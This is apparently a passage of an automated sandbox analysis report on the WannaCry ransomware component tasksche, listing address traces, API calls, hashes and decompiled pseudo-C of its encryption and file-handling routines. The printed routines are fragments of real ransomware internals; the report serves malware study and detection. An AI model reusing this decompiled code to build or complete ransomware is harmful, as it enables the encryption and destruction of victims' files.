                                                                                                                                                                0x00402d25
                                                                                                                                                                0x00402d28
                                                                                                                                                                0x00402d2a
                                                                                                                                                                0x00402d2d
                                                                                                                                                                0x00402d2d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402dfb
                                                                                                                                                                0x00402dfb
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402cb5
                                                                                                                                                                0x00402c56
                                                                                                                                                                0x00402c5c
                                                                                                                                                                0x00402c6a
                                                                                                                                                                0x00402c6e
                                                                                                                                                                0x00402c74
                                                                                                                                                                0x00402c75
                                                                                                                                                                0x00402c7e
                                                                                                                                                                0x00402c8b
                                                                                                                                                                0x00402c91
                                                                                                                                                                0x00402c93
                                                                                                                                                                0x00402c96
                                                                                                                                                                0x00402c9d
                                                                                                                                                                0x00402ca3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402ca3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402c5c
                                                                                                                                                                0x00402c24
                                                                                                                                                                0x00402c27
                                                                                                                                                                0x00402c2d
                                                                                                                                                                0x00402c2e
                                                                                                                                                                0x00402c36
                                                                                                                                                                0x00402c3f
                                                                                                                                                                0x00402c43
                                                                                                                                                                0x00402c45
                                                                                                                                                                0x00402c46
                                                                                                                                                                0x00402c49
                                                                                                                                                                0x00402c49
                                                                                                                                                                0x00402c49
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402c27
                                                                                                                                                                0x00402bd9
                                                                                                                                                                0x00402bdf
                                                                                                                                                                0x00402bdf
                                                                                                                                                                0x00402be4
                                                                                                                                                                0x00402bea
                                                                                                                                                                0x00402bea
                                                                                                                                                                0x00402bea
                                                                                                                                                                0x00402bec
                                                                                                                                                                0x00402bed
                                                                                                                                                                0x00402bf0
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402bdf
                                                                                                                                                                0x00402bb3
                                                                                                                                                                0x00402bb6
                                                                                                                                                                0x00402bb6
                                                                                                                                                                0x00402bbb
                                                                                                                                                                0x00402bc1
                                                                                                                                                                0x00402bc1
                                                                                                                                                                0x00402bc1
                                                                                                                                                                0x00402bc3
                                                                                                                                                                0x00402bc4
                                                                                                                                                                0x00402bc7
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402bb6
                                                                                                                                                                0x00402b55
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402b55

                                                                                                                                                                APIs
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00402AA4
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00402ADC
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00402B0E
                                                                                                                                                                • memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ??0exception@@ExceptionThrow$memcpy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1881450474-3916222277
                                                                                                                                                                • Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                                                                                                • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                                                                                                                                                                • Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                                                                                                • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                                                                                                                                                                • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                                                                                                                                                                • memcmp.MSVCRT ref: 00401572
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                                                                                                                                                                • _local_unwind2.MSVCRT(?,000000FF), ref: 004016D6
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
                                                                                                                                                                • String ID: WANACRY!
                                                                                                                                                                • API String ID: 283026544-1240840912
                                                                                                                                                                • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                                                                                                • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                                                                                                                                                                • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                                                                                                • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMONCrypto
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 55%
                                                                                                                                                                			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                                                                                                0x00403517
                                                                                                                                                                0x0040351e
                                                                                                                                                                0x00403528
                                                                                                                                                                0x00403531
                                                                                                                                                                0x00403536
                                                                                                                                                                0x00403537
                                                                                                                                                                0x00403537
                                                                                                                                                                0x0040353c
                                                                                                                                                                0x00403545
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040354f
                                                                                                                                                                0x0040355b
                                                                                                                                                                0x0040355c
                                                                                                                                                                0x0040355d
                                                                                                                                                                0x0040355f
                                                                                                                                                                0x0040356e
                                                                                                                                                                0x00403572
                                                                                                                                                                0x0040357d
                                                                                                                                                                0x0040358c
                                                                                                                                                                0x0040358f
                                                                                                                                                                0x00403592
                                                                                                                                                                0x00403598
                                                                                                                                                                0x0040359d
                                                                                                                                                                0x004035a0
                                                                                                                                                                0x004035a3
                                                                                                                                                                0x004035a6
                                                                                                                                                                0x004035ac
                                                                                                                                                                0x004035ad
                                                                                                                                                                0x004035b5
                                                                                                                                                                0x004035be
                                                                                                                                                                0x004035bf
                                                                                                                                                                0x004035c4
                                                                                                                                                                0x004035c9
                                                                                                                                                                0x004035cd
                                                                                                                                                                0x004035d0
                                                                                                                                                                0x004035d3
                                                                                                                                                                0x004035d5
                                                                                                                                                                0x004035d5
                                                                                                                                                                0x004035d5
                                                                                                                                                                0x004035a6
                                                                                                                                                                0x004035dc
                                                                                                                                                                0x004035e3
                                                                                                                                                                0x004035e6
                                                                                                                                                                0x004035ef
                                                                                                                                                                0x004035f2
                                                                                                                                                                0x004035f4
                                                                                                                                                                0x004035fd
                                                                                                                                                                0x004035fd
                                                                                                                                                                0x00403600
                                                                                                                                                                0x00403608
                                                                                                                                                                0x0040360b
                                                                                                                                                                0x00403613
                                                                                                                                                                0x00403619
                                                                                                                                                                0x0040361c
                                                                                                                                                                0x0040361f
                                                                                                                                                                0x00403627
                                                                                                                                                                0x0040363a
                                                                                                                                                                0x0040363d
                                                                                                                                                                0x00403660
                                                                                                                                                                0x00403682
                                                                                                                                                                0x00403688
                                                                                                                                                                0x0040368a
                                                                                                                                                                0x0040368d
                                                                                                                                                                0x00403690
                                                                                                                                                                0x00403690
                                                                                                                                                                0x00403690
                                                                                                                                                                0x0040361f
                                                                                                                                                                0x004036a9
                                                                                                                                                                0x004036ae
                                                                                                                                                                0x004036b2
                                                                                                                                                                0x004036b5
                                                                                                                                                                0x004036b8
                                                                                                                                                                0x004036bb
                                                                                                                                                                0x004035f2
                                                                                                                                                                0x004036c7
                                                                                                                                                                0x004036cd
                                                                                                                                                                0x004036d3
                                                                                                                                                                0x004036d6
                                                                                                                                                                0x004036df
                                                                                                                                                                0x004036e2
                                                                                                                                                                0x004036e7
                                                                                                                                                                0x004036ef
                                                                                                                                                                0x004036f2
                                                                                                                                                                0x00403701
                                                                                                                                                                0x00403709
                                                                                                                                                                0x0040371f
                                                                                                                                                                0x00403726
                                                                                                                                                                0x00403727
                                                                                                                                                                0x00403741
                                                                                                                                                                0x00403745
                                                                                                                                                                0x0040374a
                                                                                                                                                                0x00403760
                                                                                                                                                                0x00403767
                                                                                                                                                                0x00403768
                                                                                                                                                                0x0040377d
                                                                                                                                                                0x00403780
                                                                                                                                                                0x00403782
                                                                                                                                                                0x00403783
                                                                                                                                                                0x00403786
                                                                                                                                                                0x00403787
                                                                                                                                                                0x004036f2
                                                                                                                                                                0x00403794

                                                                                                                                                                APIs
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00403537
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                                                                                • String ID: $Q;@
                                                                                                                                                                • API String ID: 2382887404-262343263
                                                                                                                                                                • Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                                                                                                • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                                                                                                                                                                • Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                                                                                                • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMONCrypto
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 54%
                                                                                                                                                                			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                                                                                                0x0040379f
                                                                                                                                                                0x004037a6
                                                                                                                                                                0x004037b0
                                                                                                                                                                0x004037b9
                                                                                                                                                                0x004037be
                                                                                                                                                                0x004037bf
                                                                                                                                                                0x004037bf
                                                                                                                                                                0x004037c4
                                                                                                                                                                0x004037cd
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004037d7
                                                                                                                                                                0x004037e3
                                                                                                                                                                0x004037e4
                                                                                                                                                                0x004037e5
                                                                                                                                                                0x004037e7
                                                                                                                                                                0x004037f6
                                                                                                                                                                0x004037fa
                                                                                                                                                                0x00403805
                                                                                                                                                                0x00403814
                                                                                                                                                                0x00403817
                                                                                                                                                                0x0040381a
                                                                                                                                                                0x00403820
                                                                                                                                                                0x00403828
                                                                                                                                                                0x0040382b
                                                                                                                                                                0x0040382e
                                                                                                                                                                0x00403831
                                                                                                                                                                0x00403837
                                                                                                                                                                0x00403838
                                                                                                                                                                0x00403840
                                                                                                                                                                0x00403849
                                                                                                                                                                0x0040384a
                                                                                                                                                                0x0040384f
                                                                                                                                                                0x00403854
                                                                                                                                                                0x00403858
                                                                                                                                                                0x0040385b
                                                                                                                                                                0x0040385e
                                                                                                                                                                0x00403860
                                                                                                                                                                0x00403860
                                                                                                                                                                0x00403860
                                                                                                                                                                0x00403831
                                                                                                                                                                0x00403867
                                                                                                                                                                0x0040386e
                                                                                                                                                                0x00403871
                                                                                                                                                                0x0040387d
                                                                                                                                                                0x00403880
                                                                                                                                                                0x00403882
                                                                                                                                                                0x0040388b
                                                                                                                                                                0x0040388e
                                                                                                                                                                0x00403896
                                                                                                                                                                0x00403899
                                                                                                                                                                0x004038a1
                                                                                                                                                                0x004038a7
                                                                                                                                                                0x004038aa
                                                                                                                                                                0x004038ad
                                                                                                                                                                0x004038b5
                                                                                                                                                                0x004038c8
                                                                                                                                                                0x004038cb
                                                                                                                                                                0x004038ee
                                                                                                                                                                0x00403910
                                                                                                                                                                0x00403916
                                                                                                                                                                0x00403918
                                                                                                                                                                0x0040391b
                                                                                                                                                                0x0040391e
                                                                                                                                                                0x0040391e
                                                                                                                                                                0x0040391e
                                                                                                                                                                0x004038ad
                                                                                                                                                                0x00403937
                                                                                                                                                                0x0040393c
                                                                                                                                                                0x00403940
                                                                                                                                                                0x00403943
                                                                                                                                                                0x00403946
                                                                                                                                                                0x00403949
                                                                                                                                                                0x00403880
                                                                                                                                                                0x00403955
                                                                                                                                                                0x0040395b
                                                                                                                                                                0x00403961
                                                                                                                                                                0x00403964
                                                                                                                                                                0x0040396d
                                                                                                                                                                0x00403975
                                                                                                                                                                0x0040397d
                                                                                                                                                                0x00403980
                                                                                                                                                                0x0040398f
                                                                                                                                                                0x0040399a
                                                                                                                                                                0x004039b0
                                                                                                                                                                0x004039b7
                                                                                                                                                                0x004039b8
                                                                                                                                                                0x004039d2
                                                                                                                                                                0x004039d6
                                                                                                                                                                0x004039db
                                                                                                                                                                0x004039f1
                                                                                                                                                                0x004039f8
                                                                                                                                                                0x004039f9
                                                                                                                                                                0x00403a0e
                                                                                                                                                                0x00403a11
                                                                                                                                                                0x00403a13
                                                                                                                                                                0x00403a14
                                                                                                                                                                0x00403a17
                                                                                                                                                                0x00403a18
                                                                                                                                                                0x00403980
                                                                                                                                                                0x00403a25

                                                                                                                                                                APIs
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 004037BF
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2382887404-3916222277
                                                                                                                                                                • Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                                                                                                • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                                                                                                                                                                • Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                                                                                                • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}









                                                                                                                                                                0x004029ce
                                                                                                                                                                0x004029d6
                                                                                                                                                                0x004029db
                                                                                                                                                                0x004029df
                                                                                                                                                                0x004029ea
                                                                                                                                                                0x004029ea
                                                                                                                                                                0x004029ef
                                                                                                                                                                0x00402a1d
                                                                                                                                                                0x00402a1d
                                                                                                                                                                0x00402a22
                                                                                                                                                                0x00402a2e
                                                                                                                                                                0x00402a31
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029f1
                                                                                                                                                                0x004029f2
                                                                                                                                                                0x004029f7
                                                                                                                                                                0x00402a12
                                                                                                                                                                0x00402a15
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029f9
                                                                                                                                                                0x004029f9
                                                                                                                                                                0x004029fc
                                                                                                                                                                0x00402a01
                                                                                                                                                                0x00402a07
                                                                                                                                                                0x00402a0b
                                                                                                                                                                0x00402a0c
                                                                                                                                                                0x00402a0d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029f9
                                                                                                                                                                0x004029ef
                                                                                                                                                                0x00402a45

                                                                                                                                                                APIs
                                                                                                                                                                • free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
